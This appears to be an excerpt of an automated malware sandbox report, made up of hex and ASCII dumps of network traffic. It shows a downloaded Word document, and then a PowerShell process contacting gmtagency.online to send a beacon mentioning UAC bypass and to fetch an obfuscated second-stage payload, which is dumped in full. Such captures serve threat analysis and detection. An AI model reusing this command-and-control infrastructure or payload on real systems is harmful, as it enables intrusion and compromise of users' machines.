00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-11-15 00:01:00 UTC	1369	IN	Data Raw: f0 bc d1 ea 7a a3 bf a7 c5 89 85 2c 09 a1 09 89 2f fb 7c 66 5c 12 5a fe e7 8a e6 19 3f 36 ef 21 59 b4 5f e1 6f 1b 9c 5d 41 f3 01 00 00 ff ff 03 00 50 4b 03 04 14 00 06 00 08 00 00 00 21 00 07 df 5f 28 41 08 00 00 77 1f 00 00 11 00 00 00 77 6f 72 64 2f 64 6f 63 75 6d 65 6e 74 2e 78 6d 6c d4 59 fb 6f e3 b8 11 fe bd 40 ff 07 c2 07 14 3d 60 13 bd 2c c9 d6 5d 72 f0 33 17 74 1f c6 6e ba 05 5a 14 0b 5a a2 2d 36 92 28 50 94 ed 5c 71 ff fb cd 90 92 ed d8 bb 89 93 74 b7 77 0e d6 7c 7f 1c 7e 9c 19 ce 78 7f fc 69 93 67 64 c5 64 c5 45 71 d1 71 ce ed 0e 61 45 2c 12 5e 2c 2f 3a 7f bf 99 9e f5 3a a4 52 b4 48 68 26 0a 76 d1 b9 63 55 e7 a7 cb 3f ff e9 c7 75 94 88 b8 ce 59 a1 08 40 14 55 b4 2e e3 8b 4e aa 54 19 59 56 15 a7 2c a7 d5 79 ce 63 29 2a b1 50 e7 b1 c8 2d b1 58 f0 Data Ascii: z,/\|f\Z?6!Y_o]APK!_(Awword/document.xmlYo@=`,]r3tnZZ-6(P\qtw\|~xigddEqqaE,^,/::RHh&vcU?uY@U.NTYV,yc)*P-X
2024-11-15 00:01:00 UTC	1369	IN	Data Raw: 26 7f f9 6e 33 f8 41 7f 8d 71 16 2f 8d a7 aa 95 40 a7 15 c3 ad de 91 25 2b 98 a4 8a 25 8d 10 f1 db d5 15 52 c3 e3 a9 84 bd 50 2f 69 a4 c9 6a 7a 5e 83 9e 54 6d b6 f5 8c 60 dd 84 c8 85 18 81 c7 5e b2 41 55 02 47 a8 53 da 10 1e de ff a5 bb ee 41 8d 21 76 23 b5 3c 8e 8c 1e 87 42 f7 02 e4 03 1a d4 d0 d9 34 62 41 ed c5 68 c5 0a ae 16 cf 8c 0d a0 e2 9b 6b 40 bb 2f 4a 81 37 72 24 d4 3c e3 e5 14 bc 30 72 89 75 22 23 96 cf d1 71 80 27 40 33 a8 14 60 81 8d 49 78 e6 34 e3 34 2b 53 fa 46 24 53 be 21 34 47 17 84 cf 02 6e 46 d1 90 5e 57 aa a9 99 fb f8 af db 1b 80 d3 74 87 67 23 df 1e 9d 75 ed 70 72 36 e8 77 c3 b3 d0 9e 84 5d bb db 73 46 ce e8 57 44 06 4f 53 57 a8 8f 34 1b 97 bc 55 8e 53 b3 ae bd fc df 6e 94 72 45 b5 95 e2 b9 b5 40 6d a9 45 b4 cc 79 51 56 78 71 98 8a 53 Data Ascii: &n3Aq/@%+%RP/ijz^Tm`^AUGSA!v#<B4bAhk@/J7r$<0ru"#q'@3`Ix44+SF$S!4GnF^Wtg#upr6w]sFWDOSW4USnrE@mEyQVxqS
2024-11-15 00:01:00 UTC	1369	IN	Data Raw: 59 4f 69 17 4f ed 87 f1 18 16 53 0e f7 73 3a b4 ce 52 25 77 fd c8 e3 37 9a 92 b8 9b 53 42 9b 74 0f 27 01 83 8d 96 c7 b0 c8 bc 55 df 0e fc ec d8 ca 2f 00 00 00 ff ff 03 00 50 4b 03 04 0a 00 00 00 00 00 00 00 21 00 0c a1 5c 93 49 46 01 00 49 46 01 00 15 00 00 00 77 6f 72 64 2f 6d 65 64 69 61 2f 69 6d 61 67 65 31 2e 70 6e 67 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 20 00 00 02 15 08 06 00 00 00 29 b0 9b c2 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 ff a5 49 44 41 54 78 5e ec dd 07 80 54 d5 d9 ff 71 13 35 cd c4 c4 f4 d7 14 63 8c 31 a6 99 62 34 b1 6b ac 74 96 5e 05 91 de 3b 52 a4 89 f4 ae d2 45 41 40 44 54 10 95 de 96 ed bb 33 3b e5 Data Ascii: YOiOSs:R%w7SBt'U/PK!\IFIFword/media/image1.pngPNGIHDR )sRGBgAMAapHYs~IDATx^Tq5c1b4kt^;REA@DT3;
2024-11-15 00:01:00 UTC	1369	IN	Data Raw: 84 10 42 08 21 da 8c 04 88 10 42 08 21 84 10 a2 cd 48 80 08 21 84 10 42 08 21 da 8c 04 88 10 42 08 21 84 10 a2 cd 48 80 08 21 84 10 42 08 21 da 8c 04 88 10 42 08 21 84 10 a2 cd 48 80 08 21 84 10 42 08 21 da 8c 04 88 10 42 08 21 84 10 a2 cd 48 80 08 21 84 10 42 08 21 da 8c 04 88 10 42 08 21 84 10 a2 cd 48 80 08 21 84 10 42 08 21 da 8c 04 88 10 42 08 21 84 10 a2 cd 48 80 08 21 84 10 42 08 21 da 8c 04 88 10 42 08 21 84 10 a2 cd 48 80 08 21 c4 17 a5 11 17 17 e8 73 84 10 42 88 2b 9c 04 88 10 42 7c 51 02 45 87 bf 40 9f 23 84 10 42 5c e1 24 40 84 10 e2 8b e2 0d 0d 78 99 b7 1b 9a bc d0 a4 04 fc 5c 21 84 10 e2 0a 25 01 22 84 10 5f 14 6f 70 48 80 08 21 84 10 cd 24 40 84 10 e2 f3 e2 17 19 fe cc 00 31 23 c4 17 20 5e be 8f 0d f4 98 42 08 21 c4 15 46 02 44 08 21 3e 2f Data Ascii: B!B!H!B!B!H!B!B!H!B!B!H!B!B!H!B!B!H!B!B!H!sB+B\|QE@#B\$@x\!%"_opH!$@1# ^B!FD!>/
2024-11-15 00:01:00 UTC	1369	IN	Data Raw: 4c 0e 7d 3e 07 c8 a5 ac 03 e1 b7 f3 9f 9f 10 42 08 f1 e5 25 01 22 84 10 97 cd 88 0f 3e f5 15 df e6 e9 52 3c 6d 8a 37 16 74 12 15 20 76 1b fa c5 52 80 38 63 bc 01 72 be 41 49 6e f4 b0 45 a0 4b e4 69 f4 0a 3f 89 d9 f1 76 ec 2c cc 80 9d d2 83 a7 73 f1 b6 20 17 7b 3b ff 79 09 21 84 10 5f 7e 12 20 42 08 71 d9 ce 0f 90 0a 0a 02 1e b9 b0 92 3d 85 c5 98 6c 89 a5 00 b9 50 7c 18 23 21 bd 5d 9a 71 9b 22 a5 b7 3d 0a 03 c2 4e 61 49 8a 0b 47 1a ab d4 63 f1 63 f2 e9 7d 79 84 c5 9f f9 76 fe f3 12 42 08 21 be fc 24 40 84 10 e2 b2 f9 07 48 83 5a 8c ce b1 c0 3b 9b 47 50 20 ec c8 29 c0 f8 c8 a8 4f 0d 10 5e 17 d2 c5 c9 e8 36 45 48 10 05 c8 78 2d 1a 5b 0a d2 11 89 7a 35 0a c2 01 d2 5a e0 e7 24 84 10 42 7c 35 48 80 08 21 c4 65 f3 06 48 53 9d 2a 02 33 40 e2 29 3e 82 ab eb b0 25 Data Ascii: L}>B%">R<m7t vR8crAInEKi?v,s {;y!_~ Bq=lP\|#!]q"=NaIGcc}yvB!$@HZ;GP )O^6EHx-[z5Z$B\|5H!eHS*3@)>%
2024-11-15 00:01:00 UTC	1369	IN	Data Raw: a8 a9 57 f4 ff 78 f4 83 d7 7f c4 93 39 ae 58 3c 73 fa 43 74 b6 85 a0 93 2d cc 1b 1e 97 12 20 7c dd 3f 40 c2 ce 0b 90 1e f6 60 f4 b1 9e c6 80 98 93 18 10 7e 04 63 43 8f e2 68 55 31 12 28 30 f8 eb f3 34 30 8e 0f 8e 90 7a fa b3 e5 69 58 94 08 01 9f bb a1 75 4c f0 22 76 3e a5 6f ad 4f 43 43 b5 62 dc 36 4f f9 db cc f8 bc 40 8f 2d 84 10 42 5c 98 04 88 10 57 b2 d6 c1 d1 5a a0 cf 11 97 84 a7 5e 15 d7 d5 ab b3 5f 65 90 e0 ba 6a cc 8c b7 e1 a9 b3 87 d0 d1 19 8a 0e ce 70 f0 4e e8 66 7c 74 b5 87 a3 0b 9f d9 ca 87 02 c5 1b 1c ad 99 01 d2 c5 15 a2 74 a5 10 09 72 9e 41 0f c7 29 f4 b6 9f 40 5f db 09 0c 89 39 86 57 d2 3d 38 59 59 02 77 5d 1d ca e8 39 f0 5a 74 b5 3e 9e 9e 1c 4f c7 32 9e eb f9 a1 a1 d0 07 fa f3 45 47 63 a5 4f 5d 43 85 a2 6e 7b 63 a4 39 48 78 82 17 7d 6e a0 Data Ascii: Wx9X<sCt- \|?@`~cChU1(040ziXuL"v>oOCCb6O@-B\WZ^_ejpNf\|ttrA)@_9W=8YYw]9Zt>O2EGcO]Cn{c9Hx}n
2024-11-15 00:01:00 UTC	1369	IN	Data Raw: ca e8 92 f7 8c e0 0d f4 2a 88 79 9d 67 f3 f3 94 1d de 3f c2 3b 7f 47 3d 26 87 86 ff c2 f4 d6 eb 43 fc 9d f7 7c ae 60 aa d5 e8 75 e3 35 17 e7 50 85 29 91 14 06 27 df 43 57 c7 59 74 8e 8b f0 06 88 11 1e 06 8a 0c 73 8a 95 57 73 70 b4 66 c4 47 67 e7 69 af 93 4a 27 c7 09 2f 1e 01 39 83 2e 96 53 e8 66 39 89 6e d6 e3 e8 63 39 86 e7 c2 3e c2 22 57 18 3e ae c8 40 32 fd c1 97 a0 92 82 a1 1c 35 0d a5 5e c5 4a 55 7d 91 e2 1b f5 08 10 1f 6a d4 a3 86 a2 a3 36 d5 b8 54 b2 48 0e aa ab f3 50 55 95 a3 3e c7 58 8c ce ab 61 f8 07 cd 1c 05 b9 bc b7 40 af af 10 42 88 2b 97 04 88 10 57 12 ea 86 f3 22 84 2e f9 3e 3e 3c 2c 6c 6c 82 56 54 0c 4b 51 01 3c 4d 75 48 a3 fb 32 09 9f c9 89 4f 27 cb 2b 02 f8 dc 48 1c 22 bc 80 99 a3 82 63 83 77 7a 60 12 21 cd 38 40 f8 25 ce 26 67 1a 2b 30 Data Ascii: *yg?;G=&C\|`u5P)'CWYtsWspfGgiJ'/9.Sf9nc9>"W>@25^JU}j6THPU>Xa@B+W".>><,llVTKQ<MuH2O'+H"cwz`!8@%&g+0
2024-11-15 00:01:00 UTC	911	IN	Data Raw: 7f fb 76 0c 3b b9 06 5b dc 07 60 ab 75 51 80 66 d2 9f 57 26 6a 1b 33 29 44 32 50 d5 98 86 ca 06 0a 0f 52 51 9f ac a6 5c f1 c8 87 11 1f 2e 85 a3 43 a9 b1 2b 95 b5 0e 9f f2 2a 0d a5 15 6e 0a 90 64 15 35 8d 8d 85 de 3c 95 00 11 42 08 71 71 12 20 42 5c 91 8c 11 87 6a 6f 7c d4 a2 46 c5 48 22 1d 18 ee 2f c9 c5 78 dd 86 f6 11 74 50 1c ef 46 a7 38 1d dd e9 b2 87 4b 47 ef 58 1b fa c4 44 a3 5f 78 38 46 d9 62 31 f2 5c 08 66 52 8c 2c d3 34 bc 99 9a 82 33 95 55 d0 e9 80 91 d7 3d f0 e9 67 cd b3 67 99 41 a2 42 84 8e 3b bd 67 f1 35 d6 a4 04 7c 7e 5f 7d 7c 88 cd 93 8e b4 ba 6a 6c cd 8e c7 90 88 63 e8 14 cd 01 72 16 dd f4 48 74 73 fa 07 48 f0 25 06 48 80 f8 60 14 1f 5d 9d fe 01 72 c4 08 10 8e 0f c7 47 cd 01 e2 1d fd e8 ea 7a 13 7d 9c db d0 f3 c8 12 cc 0c dd 88 83 b9 a7 91 Data Ascii: v;[`uQfW&j3)D2PRQ\.C+*nd5<Bqq B\jo\|FH"/xtPF8KGXD_x8Fb1\fR,43U=ggAB;g5\|~_}\|jlcrHtsH%H`]rGz}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49724	188.114.97.3	443	6204	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:01:01 UTC	286	OUT	POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f1bbebbccff7ba9c62dc379cc23851a0 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Content-Length: 62
2024-11-15 00:01:01 UTC	62	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 30 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 6f 20 63 61 6e 20 62 79 70 61 73 73 20 75 61 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "0", "\"ko can bypass uac\"", "----------"]
2024-11-15 00:01:01 UTC	946	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:01:01 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PXdJYZbPZMgEpTse81RfdUvxqtR4rV1qTBC9CugA6Tx9HGYQK0ySdcbxuUUEyljPIpGPpfKPC5JjvWrtHh64fZCL1Gad01O0zWo3fMHVWdAH%2F%2BxuB9bM0%2BhfrwEOPr67S9enwW9A1NcU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2098&sent=41554&recv=21709&lost=0&retrans=35&sent_bytes=57428381&recv_bytes=1398820&delivery_rate=49991580&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af6de9966b0a9-ATL server-timing: cfL4;desc="?proto=TCP&rtt=19811&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1008&delivery_rate=146796&cwnd=32&unsent_bytes=0&cid=1647d6dc412ebdf8&ts=728&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49755	188.114.97.3	443	3372	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:01:06 UTC	391	OUT	GET /file2/84e009c5e29882323580b7c700d6d7fbf207df368df023a607710ca7f4c16856cff97b78654a883999182a054047890c863ba38cd142dc11cce8f76106379ad2e15601f04be4f6408483c515afddf40f1a60a87185af95c3d6e14b1b85f1d36ed69abb735a67351e2128ffb73d449c3b HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Connection: Keep-Alive
2024-11-15 00:01:06 UTC	1066	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:01:06 GMT Content-Type: application/octet-stream Content-Length: 12132 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jf2lfzkTRZQkoctDBNF0lx%2BJY6WiyTlHfTgA%2B10YeG91Ii0Z3QeY1Fb3kj2W7jyaT7id6YdjzAut7h%2FEq%2FRvVAxEkAapE4QqCAmYCYk5iWZ%2BKJf0mVTXYX9rQ4UKMaIU4lpAgP9xiI5p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24228&sent=7954&recv=4680&lost=0&retrans=286&sent_bytes=10249689&recv_bytes=782252&delivery_rate=28883424&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af6ffdb89e673-DEN server-timing: cfL4;desc="?proto=TCP&rtt=22473&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1005&delivery_rate=129009&cwnd=32&unsent_bytes=0&cid=ee70d1f578f1a436&ts=701&x=0"
2024-11-15 00:01:06 UTC	303	IN	Data Raw: 25 74 72 63 6c 67 72 74 6b 71 65 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 56 57 65 32 4f 6d 4f 47 4f 54 71 53 57 57 4b 48 57 45 40 34 52 47 4b 34 50 59 4b 50 54 31 47 71 55 47 4c 76 65 44 79 55 4c 49 53 4c 54 7b 43 31 55 47 4f 4b 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 48 54 6f 6d 6d 54 55 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 48 32 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 75 5b 63 55 6d 73 5b 57 4f 43 4e 54 6d 45 54 6c 34 68 53 7b 6d 71 56 57 65 32 4f 6d 4f 47 4f 54 71 53 57 57 4b 48 57 45 40 34 52 47 4b Data Ascii: %trclgrtkqe<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#VWe2OmOGOTqSWWKHWE@4RGK4PYKPT1GqUGLveDyULISLT{C1UGOKO1SSc3eKP1GoRTOC[1mHTommTUCMRTOC[1mEPVeKP1H2SGGw[1mEPVeKP1GoRTOC[1mEPVu[cUms[WOCNTmETl4hS{mqVWe2OmOGOTqSWWKHWE@4RGK
2024-11-15 00:01:06 UTC	1369	IN	Data Raw: 45 50 56 65 4b 50 31 47 6f 54 30 62 30 4c 6c 48 78 65 46 79 4c 57 6c 53 72 56 56 79 4a 63 46 4f 58 57 6c 79 6b 4c 30 47 6f 55 47 5b 56 64 56 47 55 50 56 75 6a 56 44 71 76 52 54 4c 79 55 6d 71 58 54 6c 38 68 4c 6d 47 6f 57 54 62 34 64 6c 53 45 50 59 53 55 53 30 5b 6e 56 6a 65 56 64 56 4f 34 50 56 75 69 53 30 5b 6e 56 6a 65 56 64 56 4f 34 50 59 53 53 63 55 6d 73 5b 57 4f 43 60 30 6d 75 4e 56 75 6d 54 55 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 48 34 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 65 4e 60 46 53 49 55 6c 38 6d 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 30 4f 56 60 44 57 57 63 44 71 42 54 6c 75 4e 54 6d 4b 55 50 56 6d 52 56 44 71 34 58 6b 4f 4b 5b 31 71 46 4e 49 57 52 56 46 69 70 56 6d 69 42 4c 46 Data Ascii: EPVeKP1GoT0b0LlHxeFyLWlSrVVyJcFOXWlykL0GoUG[VdVGUPVujVDqvRTLyUmqXTl8hLmGoWTb4dlSEPYSUS0[nVjeVdVO4PVuiS0[nVjeVdVO4PYSScUms[WOC`0muNVumTUCMRTOC[1mEPVeKP1H4SGGw[1mEPVeKP1GoRTeN`FSIUl8me{CMRTOC[1mEPVeKP1GoRTOC[0OV`DWWcDqBTluNTmKUPVmRVDq4XkOK[1qFNIWRVFipVmiBLF
2024-11-15 00:01:06 UTC	1369	IN	Data Raw: 58 6b 4b 35 60 30 71 58 52 56 65 50 54 31 4b 68 57 55 4f 72 64 6c 53 49 57 6f 53 4c 60 33 79 50 55 46 79 42 60 46 53 49 60 46 53 51 60 6f 43 48 56 6d 69 52 57 57 71 59 4c 59 65 57 53 31 58 76 58 54 4f 6f 62 44 53 53 63 31 34 45 60 54 47 6f 52 54 4f 43 60 6a 6d 47 55 6f 5b 68 57 31 71 76 58 6c 30 57 5b 33 53 49 60 46 79 4b 52 47 4b 72 58 6d 69 43 5b 30 71 75 4e 59 4f 60 53 30 5b 34 52 54 69 42 60 46 53 49 5b 33 65 5b 57 7b 57 73 52 54 65 60 62 46 4b 49 57 56 65 68 63 54 5b 31 56 6d 4f 42 4c 46 4b 34 50 6c 34 60 56 47 47 6f 5b 44 65 6e 63 44 6d 49 56 6b 47 68 53 32 65 6f 58 31 65 46 4c 46 47 43 4c 44 75 4b 50 31 47 6f 52 54 4f 52 63 56 47 59 64 46 79 57 53 31 58 76 58 54 4f 43 4e 54 6d 47 62 49 5b 69 57 7b 53 31 57 54 65 46 4c 46 47 45 50 59 53 57 53 31 58 Data Ascii: XkK5`0qXRVePT1KhWUOrdlSIWoSL`3yPUFyB`FSI`FSQ`oCHVmiRWWqYLYeWS1XvXTOobDSSc14E`TGoRTOC`jmGUo[hW1qvXl0W[3SI`FyKRGKrXmiC[0quNYO`S0[4RTiB`FSI[3e[W{WsRTe`bFKIWVehcT[1VmOBLFK4Pl4`VGGo[DencDmIVkGhS2eoX1eFLFGCLDuKP1GoRTORcVGYdFyWS1XvXTOCNTmGbI[iW{S1WTeFLFGEPYSWS1X
2024-11-15 00:01:06 UTC	1369	IN	Data Raw: 56 65 4b 63 44 71 33 58 6b 4f 52 58 30 54 78 57 6c 71 6a 56 44 71 76 5b 44 69 72 53 47 71 59 4f 55 43 60 56 44 6d 34 52 56 6d 43 65 47 44 78 64 46 69 6b 4c 31 30 6f 52 56 75 46 65 56 53 49 63 45 4b 69 56 44 6e 79 58 7b 47 42 64 56 48 78 54 6b 47 5b 4c 30 47 71 52 54 69 32 5b 30 58 78 60 46 79 6b 63 57 57 31 57 45 4b 4a 62 57 71 59 55 6b 43 4b 52 49 4f 6f 52 6a 58 35 65 57 71 49 63 49 71 6b 53 32 69 6e 5b 57 54 30 60 46 4b 59 57 56 65 4c 57 7b 57 72 52 54 4f 4a 56 46 47 59 4f 56 75 68 4c 33 53 37 52 54 57 52 63 47 71 75 57 6f 57 60 53 30 5b 34 52 56 6d 42 4e 54 53 53 63 33 75 69 56 44 34 55 5b 47 62 30 65 56 47 59 4f 56 34 4b 53 45 43 6f 52 6a 65 60 60 46 4b 48 55 6c 79 51 65 7b 43 4d 58 57 65 5b 5b 31 75 45 54 6b 4f 69 57 7b 57 73 58 6b 4f 6a 64 6d 4b 49 Data Ascii: VeKcDq3XkORX0TxWlqjVDqv[DirSGqYOUC`VDm4RVmCeGDxdFikL10oRVuFeVSIcEKiVDnyX{GBdVHxTkG[L0GqRTi2[0Xx`FykcWW1WEKJbWqYUkCKRIOoRjX5eWqIcIqkS2in[WT0`FKYWVeLW{WrRTOJVFGYOVuhL3S7RTWRcGquWoW`S0[4RVmBNTSSc3uiVD4U[Gb0eVGYOV4KSECoRje``FKHUlyQe{CMXWe[[1uETkOiW{WsXkOjdmKI
2024-11-15 00:01:06 UTC	516	IN	Data Raw: 30 72 62 30 71 56 50 6c 69 6a 53 33 65 76 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 34 50 6a 4b 6b 52 44 4b 7b 5b 57 4f 42 56 57 50 79 52 56 65 60 57 7b 57 70 58 33 34 72 65 33 53 49 63 49 5b 68 60 55 6d 73 56 6d 65 4e 64 56 57 58 50 6b 43 69 57 7b 6d 30 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 65 60 65 6c 4f 71 50 56 38 4a 53 33 75 6f 54 47 4f 43 65 31 38 34 50 56 75 69 54 31 47 31 58 6a 69 53 5b 31 71 49 56 6f 43 68 53 30 5b 45 5b 57 69 52 63 46 4f 34 4f 54 30 60 57 7b 57 74 5b 44 65 6f 4f 31 6d 45 54 6f 43 4d 64 59 4f 76 52 54 69 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 30 4b 75 58 57 65 35 63 47 47 74 63 45 43 60 56 44 34 68 52 6a 65 72 5b 44 6d 44 4c 46 65 4a 53 30 71 76 58 Data Ascii: 0rb0qVPlijS3evSGGwUjOqPVeKP1GoRTOC[1m4PjKkRDK{[WOBVWPyRVe`W{WpX34re3SIcI[h`UmsVmeNdVWXPkCiW{m0SGGw[1mEPVeKP1GoRTe`elOqPV8JS3uoTGOCe184PVuiT1G1XjiS[1qIVoChS0[E[WiRcFO4OT0`W{Wt[DeoO1mEToCMdYOvRTi{UjOqPVeKP1GoRTOC[1mEPVeKP0KuXWe5cGGtcEC`VD4hRjer[DmDLFeJS0qvX
2024-11-15 00:01:07 UTC	1369	IN	Data Raw: 50 7b 57 6b 43 6b 52 47 58 76 54 6c 30 72 62 30 71 56 50 6c 69 6a 53 33 65 7b 52 54 4f 52 63 56 47 59 64 46 79 53 63 6c 76 76 56 6d 69 4f 62 44 53 53 63 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 55 57 6c 69 47 57 56 79 4a 50 6d 4b 73 55 6d 4b 52 54 31 47 71 57 6a 65 6e 63 44 6d 49 56 6f 43 68 53 30 57 6f 52 6a 57 72 65 56 4f 48 57 6b 43 52 63 56 79 7b 56 6d 5b 42 60 46 53 49 5b 33 65 6a 4c 6a 5b 37 52 54 69 42 64 56 48 78 55 6c 79 6b 4c 31 34 72 56 6a 4f 42 60 46 4b 75 54 56 65 6b 4c 6a 58 78 56 6d 65 53 5b 30 6d 58 55 56 65 4a 53 55 6a 79 5b 44 69 42 4c 56 53 47 56 6f 43 68 53 30 5b 53 56 57 69 52 63 31 6d 6f 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6f 6d 60 56 47 48 79 58 33 31 31 5b 31 71 48 54 6f 6d 6a 57 30 57 4e 50 33 6d 43 5b Data Ascii: P{WkCkRGXvTl0rb0qVPlijS3e{RTORcVGYdFySclvvVmiObDSSc14E`TGoRTOC[1mEPVeUWliGWVyJPmKsUmKRT1GqWjencDmIVoChS0WoRjWreVOHWkCRcVy{Vm[B`FSI[3ejLj[7RTiBdVHxUlykL14rVjOB`FKuTVekLjXxVmeS[0mXUVeJSUjy[DiBLVSGVoChS0[SVWiRc1moLDuKP1GoRTOC[1mEPom`VGHyX311[1qHTomjW0WNP3mC[
2024-11-15 00:01:07 UTC	1369	IN	Data Raw: 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 55 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 52 47 4b 34 5b 57 69 7b 55 6a 4f 6f 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 55 56 6d 62 79 65 6c 53 75 57 59 53 55 56 47 4b 72 58 6d 4f 43 65 47 57 49 53 6b 43 69 50 31 47 73 56 6a 65 56 64 6c 53 49 63 49 57 5b 56 47 4b 76 58 6b 48 31 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 5b 53 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 49 55 6c 69 6a 53 31 34 77 5b 59 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 Data Ascii: oRTOC[1mEPVeKPUCMRTOC[1mEPVeKP1GoRTOC[1mEPVeKRGK4[Wi{UjOoLDuKP1GoRTOC[1mEPVeKP1GoRTOC[1mEPVeKP1KUVmbyelSuWYSUVGKrXmOCeGWISkCiP1GsVjeVdlSIcIW[VGKvXkH1O1SSc3eKP1GoRTOC[1mEPVeKP1GoRTOC[3[SLDuKP1GoRTOC[1mEPVeKP1GoRTOC[1mIUlijS14w[YbvR1mEPVeKP1GoRTOC[1mEPVeKP1
2024-11-15 00:01:07 UTC	1369	IN	Data Raw: 64 46 79 4b 60 6f 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 55 56 6d 62 79 65 6c 53 75 57 59 53 55 56 47 4b 72 58 6d 4f 43 65 47 57 49 53 6b 43 69 50 31 47 73 5b 44 65 56 65 46 4f 47 56 6f 43 68 53 30 57 6f 55 47 57 60 65 6c 4f 75 55 6c 79 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 4e 54 6d 49 57 6f 4f 6b 4c 6d 57 6f 5b 59 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 57 72 56 57 4b 46 52 6d 4f 53 57 57 71 44 57 57 57 57 5b 31 6d 73 54 6f 5b 6a 4c 6b 57 7b 58 6b 4b 46 60 31 6d 49 56 6c 69 69 57 32 69 72 56 6a 53 77 5b 31 71 48 57 6f 6d 68 50 31 6d 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d Data Ascii: 